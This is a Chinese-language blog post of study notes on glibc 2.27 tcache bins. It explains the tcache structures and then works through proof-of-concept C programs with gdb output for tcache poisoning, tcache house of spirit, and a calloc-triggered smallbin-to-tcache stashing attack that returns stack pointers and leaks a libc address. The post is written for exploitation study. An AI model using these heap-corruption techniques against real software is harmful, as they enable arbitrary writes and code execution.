关于如何理解Glibc堆管理器(Ⅶ——Tcache Bins!!)

本篇实为个人笔记,可能存在些许错误;若各位师傅发现哪里存在错误,还望指正。感激不尽。

若有图片及文稿引用,将在本篇结尾处著名来源(也有置于篇首的情况)。

        笔者本该将这一节的内容与第二节合并的,因为Tcache的并入并没有带来非常多的内容。但从结构上考虑,笔者一直以来都在使用glibc-2.23进行说明,在该版本下尚且没有引入Tcache Bins,因此这一节的内容一直拖欠到今。直到glibc-2.27开始,官方才引入了Tcache Bins结构,因此本节内容也将在该版本下进行说明(不过Ubuntu18确实用着比Ubuntu16来得舒服......)

        (注:读者不应以笔者给出的代码为准。笔者为了方便理解而将“在别处定义而在本函数中被使用的内容”一并展示在代码栏中,实际上,某些定义并非在该处被定义)

目录

Tcache 结构:

代码调试:

tcache_poisoning:

tcache house of spirit: 

总结:


Tcache 结构:

/* We overlay this structure on the user-data portion of a chunk when the chunk is stored in the per-thread cache.  */
# define TCACHE_MAX_BINS		64
 typedef struct tcache_entry
 {
   struct tcache_entry *next;
  /* This field exists to detect double frees.  */
  struct tcache_perthread_struct *key;
 } tcache_entry;
/* There is one of these for each thread, which contains the per-thread cache (hence "tcache_perthread_struct").  Keeping overall size low is mildly important.  Note that COUNTS and ENTRIES are redundant (we could have just counted the linked list each time), this is for performance reasons.  */
typedef struct tcache_perthread_struct
{
  char counts[TCACHE_MAX_BINS];
  tcache_entry *entries[TCACHE_MAX_BINS];
} tcache_perthread_struct;

static __thread tcache_perthread_struct *tcache = NULL;

         每个线程都有一个tcache_perthread_struct结构体,该结构体即为Tcache Bins的结构体

        可以注意到,每个线程最多只能有64个Tcache Bin,且用单项链表储存free chunk,这与Fast Bin是相同的,且它们储存chunk的大小也是严格分类,因此这一点上也相同

        (注:笔者试着翻阅了源代码,tcache_entry结构体中的*key直到glibc-2.29才出现,此前的版本均没有这一项。但笔者对照了自己Ubuntu18.04版本中正在使用的libc-2.27.so发现,该系统已经引入了这一结构,因此本节会按照存在该结构的环境进行介绍)

        (读者可在这里找到更新的commit:sourceware.org Git - glibc.git/blobdiff - malloc/malloc.c

        而操作该结构体的函数主要有这两个:

/* This is another arbitrary limit, which tunables can change.  Each
   tcache bin will hold at most this number of chunks.  */
# define TCACHE_FILL_COUNT 7

static __always_inline void
tcache_put (mchunkptr chunk, size_t tc_idx)
{
   tcache_entry *e = (tcache_entry *) chunk2mem (chunk);
   assert (tc_idx < TCACHE_MAX_BINS);
 
   /* Mark this chunk as "in the tcache" so the test in _int_free will
      detect a double free.  */
   e->key = tcache;
 
   e->next = tcache->entries[tc_idx];
   tcache->entries[tc_idx] = e;
   ++(tcache->counts[tc_idx]);
 }

/* Caller must ensure that we know tc_idx is valid and there's
   available chunks to remove.  */
static __always_inline void *
tcache_get (size_t tc_idx)
{
  tcache_entry *e = tcache->entries[tc_idx];
  assert (tc_idx < TCACHE_MAX_BINS);
  assert (tcache->entries[tc_idx] > 0);
  tcache->entries[tc_idx] = e->next;
  --(tcache->counts[tc_idx]);
  return (void *) e;
}

        前者向Bins中放入chunk,后者则从中取出chunk。且每个Tcache Bin最多存放7个chunk(不过这段代码没能体现出来,该限制在malloc中存在,具体内容之后讲解)

  •         chunk2mem 将返回chunk p的头部
  •         tc_idx 表示Tcache Bins的索引
  •         tcache->counts[tc_idx]指示索引为tc_idx的Bins中存放的chunk数

        如下为Tcache Bins分配规则:(内容摘自CTF-WIKI)

内存申请:

在内存分配的 malloc 函数中有多处,会将内存块移入 tcache 中

  1. 首先,申请的内存块符合 fastbin 大小时并且在 fastbin 内找到可用的空闲块时,会把该 fastbin 链上的其他内存块放入 tcache 中
  2. 其次,申请的内存块符合 smallbin 大小时并且在 smallbin 内找到可用的空闲块时,会把该 smallbin 链上的其他内存块放入 tcache 中
  3. 当在 unsorted bin 链上循环处理时,当找到大小合适的链时,并不直接返回,而是先放到 tcache 中,继续处理
  • tcache 取出:在内存申请的开始部分,首先会判断申请大小块,并验证 tcache 是否存在,如果存在就直接从 tcache 中摘取,否则再使用_int_malloc 分配

  • 在循环处理 unsorted bin 内存块时,如果达到放入 unsorted bin 块最大数量,会立即返回。不过默认是 0,即不存在上限

#if USE_TCACHE
      /* If we've processed as many chunks as we're allowed while
   filling the cache, return one of the cached ones.  */
      ++tcache_unsorted_count;
      if (return_cached
        && mp_.tcache_unsorted_limit > 0
        && tcache_unsorted_count > mp_.tcache_unsorted_limit)
      {
        return tcache_get (tc_idx);
      }
#endif

        关于具体的代码实现,笔者打算将其留作最后几节的完结篇,因此这里不做代码分析,仅给出结论,并在之后的代码调试中验证结论

        实际上Tcache的内容就这么多,在理解了前三个Bins结构之后,笔者发现似乎已经没有其他可以讨论的内容了;但读者可能也发现了,对Tcache Bin进行操作的函数似乎非常简单,几乎没有做安全性检查,这也同样是事实,不过目前笔者还没有贴出完全的代码,因此整体还并不明朗,读者可以自行查阅相关资料,或是阅读笔者之后的几篇代码分析

        仅从结论来说,Tcache 确实不如最早的那三个来得安全(至少目前是这样)

        

代码调试:

        tcache_poisoning:(删除了大多数说明)

#include <stdio.h>
#include <stdlib.h>
#include <stdint.h>
#include <assert.h>

int main()
{
	size_t stack_var;
	intptr_t *a = malloc(128);
	intptr_t *b = malloc(128);
	free(a);
	free(b);
	b[0] = (intptr_t)&stack_var;
	intptr_t *c = malloc(128);
	intptr_t *d = malloc(128);
	return 0;
}

        我们可以直接断点在第15行,此时的Bins结构为:

gdb-peda$ bins
tcachebins
0x90 [  2]: 0x5555557562f0 —▸ 0x555555756260 ◂— 0x0

        (不过唯独Tcache Bins显示的地址是&chunk+0x10) 

Free chunk (tcache) | PREV_INUSE
Addr: 0x555555756250
Size: 0x91
fd: 0x00

Free chunk (tcache) | PREV_INUSE
Addr: 0x5555557562e0
Size: 0x91
fd: 0x555555756260

        显然,此时chunk a与b均非放入Tcache Bins中,这也说明,其优先级甚至要高于Fast Bins

        再以chunk b为例,查看一下Tcache的结构:

gdb-peda$ x /6gx 0x5555557562e0
0x5555557562e0:	0x0000000000000000	0x0000000000000091
0x5555557562f0:	0x0000555555756260	0x0000555555756010
0x555555756300:	0x0000000000000000	0x0000000000000000

         它没有prev_size,但几乎和Fast Bin中的chunk是一样的,同时也不会合并,不会将Size中的P位标记置零,同时它们拥有共同的bk指针,这个指针有些特殊,它们会指向该线程的Tcache Bins表头,并被用作一个“key”,当对某个chunk进行free的时候便会遍历搜索,查看它是否已经被放入Tcache Bins,由此来防止出现Double Free的情况

Allocated chunk | PREV_INUSE
Addr: 0x555555756000
Size: 0x251

          继续往下,程序伪造了chunk b的fd指针,此时的Bins为:

tcachebins
0x90 [  2]: 0x5555557562f0 —▸ 0x7fffffffdeb8 ◂— 0x0

         则在第二次申请时,将得到一个指向栈的地址:

gdb-peda$ p d
$1 = (intptr_t *) 0x7fffffffdeb0

tcache house of spirit: 

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main()
{
	setbuf(stdout, NULL);
	malloc(1);
	unsigned long long *a; //pointer that will be overwritten
	unsigned long long fake_chunks[10]; //fake chunk region
	fake_chunks[1] = 0x40; // this is the size
	a = &fake_chunks[2];
	free(a);
	void *b = malloc(0x30);
	assert((long)b == (long)&fake_chunks[2]);
}

         同样删除了几乎所有的注释

        直接运行到第8行

        首先申请一块内存来初始化堆结构,然后在栈上构造起fake_chunks结构,并以0x40作为该chunk的size

        此时如果对这个chunk进行free,那么这个伪造好的chunk就会被放进Bins中,并在接下来申请时候被返回:

tcachebins
0x40 [  1]: 0x7fffffffde90 ◂— 0x0
gdb-peda$ p b
$1 = (void *) 0x7fffffffde90

         由此可见,在glibc2.27版本中,对Tcache的合法性检查并不严谨,就连官方都曾表示:“在free之前需要确保该指针是安全的”(大致是这个意思)

#include <stdio.h>
#include <stdlib.h>
#include <assert.h>

int main(){
    unsigned long stack_var[0x10] = {0};
    unsigned long *chunk_lis[0x10] = {0};
    unsigned long *target;

    setbuf(stdout, NULL);

    stack_var[3] = (unsigned long)(&stack_var[2]);

    //now we malloc 9 chunks
    for(int i = 0;i < 9;i++){
        chunk_lis[i] = (unsigned long*)malloc(0x90);
    }

    //put 7 chunks into tcache
    for(int i = 3;i < 9;i++){
        free(chunk_lis[i]);
    }
    //last tcache bin
    free(chunk_lis[1]);

    //now they are put into unsorted bin
    free(chunk_lis[0]);
    free(chunk_lis[2]);
    //convert into small bin
    unsigned long *a=malloc(0xa0);// size > 0x90
    //now 5 tcache bins
    unsigned long *b=malloc(0x90);
    unsigned long *c=malloc(0x90);
    //change victim->bck
    /*VULNERABILITY*/
    chunk_lis[2][1] = (unsigned long)stack_var;
    /*VULNERABILITY*/
    //trigger the attack
    unsigned long *d=calloc(1,0x90);
    //malloc and return our fake chunk on stack
    target = malloc(0x90);   
    assert(target == &stack_var[2]);
    return 0;
}

        第一个断点于第26行,此时,程序开辟了9个相同大小的chunk,并free掉了后6个和第二个,剩下第一个和第三个

        此时,Tcache Bin已经装满,接下来的释放将把chunk 放入Unsorted Bin:

tcachebins
0xa0 [  7]: 0x555555756300 —▸ 0x555555756760 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
unsortedbin
all: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdca0 (main_arena+96) ◂— 0x555555756390

         接下来开辟chunk a,因为没有能够满足0xa0的free chunk,因此直接往下开辟新的chunk,且将Unsorted Bin中的内容放入Small Bin中

        然后开辟chunk b与c,由于Tcache Bin中有合适的,因此相继拿出第一个节点分配给它们

        接下来伪造chunk_lis[2]的bk指针

gdb-peda$ bins
tcachebins
0xa0 [  5]: 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
smallbins
0xa0 [corrupted]
FD: 0x555555756390 —▸ 0x555555756250 —▸ 0x7ffff7dcdd30 (main_arena+240) ◂— 0x555555756390
BK: 0x555555756250 —▸ 0x555555756390 —▸ 0x7fffffffddd0 —▸ 0x7fffffffdde0 ◂— 0x0
largebins

        此时,如果程序调用calloc函数,则会触发一个特殊的机制:如果对应的Tcache Bin中仍有空余,则在分配给用户chunk之后,把Small Bin中其他的chunk放入Tcache Bin中,直到Tcache Bin放满,或者Small Bin放完

        其Unlink操作代码如下:

	      while (tcache->counts[tc_idx] < mp_.tcache_count
		     && (tc_victim = last (bin)) != bin)
		{
		  if (tc_victim != 0)
		    {
		      bck = tc_victim->bk;
		      set_inuse_bit_at_offset (tc_victim, nb);
		      if (av != &main_arena)
			set_non_main_arena (tc_victim);
		      bin->bk = bck;
		      bck->fd = bin;

		      tcache_put (tc_victim, tc_idx);
	            }

         由于存在bck->fd = bin,因此,在本例中,当向Tcache Bin中放入Small Bin中放入 0x7fffffffddd0(即fake_chunk)后,将往0x7fffffffdde0->fd处写入bin的地址,由此造成libc地址泄露

tcachebins
0xa0 [  7]: 0x7fffffffdde0 —▸ 0x5555557563a0 —▸ 0x5555557566c0 —▸ 0x555555756620 —▸ 0x555555756580 —▸ 0x5555557564e0 —▸ 0x555555756440 ◂— 0x0
smallbins
0xa0 [corrupted]
FD: 0x555555756390 —▸ 0x5555557566c0 ◂— 0x0
BK: 0x7fffffffdde0 ◂— 0x0

gdb-peda$ x /8gx 0x7fffffffddc0
0x7fffffffddc0:	0x0000555555756260	0x00007ffff7dde39f
0x7fffffffddd0:	0x0000000000000000	0x0000000000000000
0x7fffffffdde0:	0x00005555557563a0	0x0000555555756010
0x7fffffffddf0:	0x00007ffff7dcdd30	0x0000000000000000

         由于0x7fffffffddd0  的放入导致了Tcache Bin满员,所以0x7fffffffdde0被没放入Tcache Bin中,而其fd保留了bin的地址

        0x7fffffffddd0 被放入Tcache Bin中时,调用该函数

		      tcache_put (tc_victim, tc_idx);

         这个函数将0x7fffffffdde0->fd处的bin地址又用Tcache->fd的地址覆盖,因此没能在该chunk处泄露,倘若0x7fffffffdde0放入后,Tcache Bin仍未满员,那么0x7fffffffdde0也会被放入,则0x7fffffffdde0->fd中的bin地址也会被覆盖,因此,该利用必须严格控制Tcache Bin中的chunk数量

总结:

        先开辟9个相同大小的chunk,并且全都释放,使其中7个均被放入相同索引的Tcache Bin,而两个被放入Unsorted Bin中(这两个不应该在地址上相邻)

        通过请求更大的chunk,使得Unsorted Bin中的chunk被放入Small Bin中

        由于Small Bin按照FIFO(先进先出)使用,假设现在SmallBin->bk=chunk0;chunk0->bk=chunk1,为chunk1伪造一个fake_chunk,并将fake_chunk->bk指向一个可控的地址(指可写也可被获取内容)

        然后调用calloc函数,触发机制,将chunk0分配给用户,chunk1与chunk1->bk(即fake_chunk)被放入Tcache Bin中,且向fake_chunk->fd写入bin

        然后用户再次请求一个同样大小的chunk时,由于Tcache Bin遵守LIFO(先进后出),因此将返回fake_chunk地址

  • 3
    点赞
  • 3
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值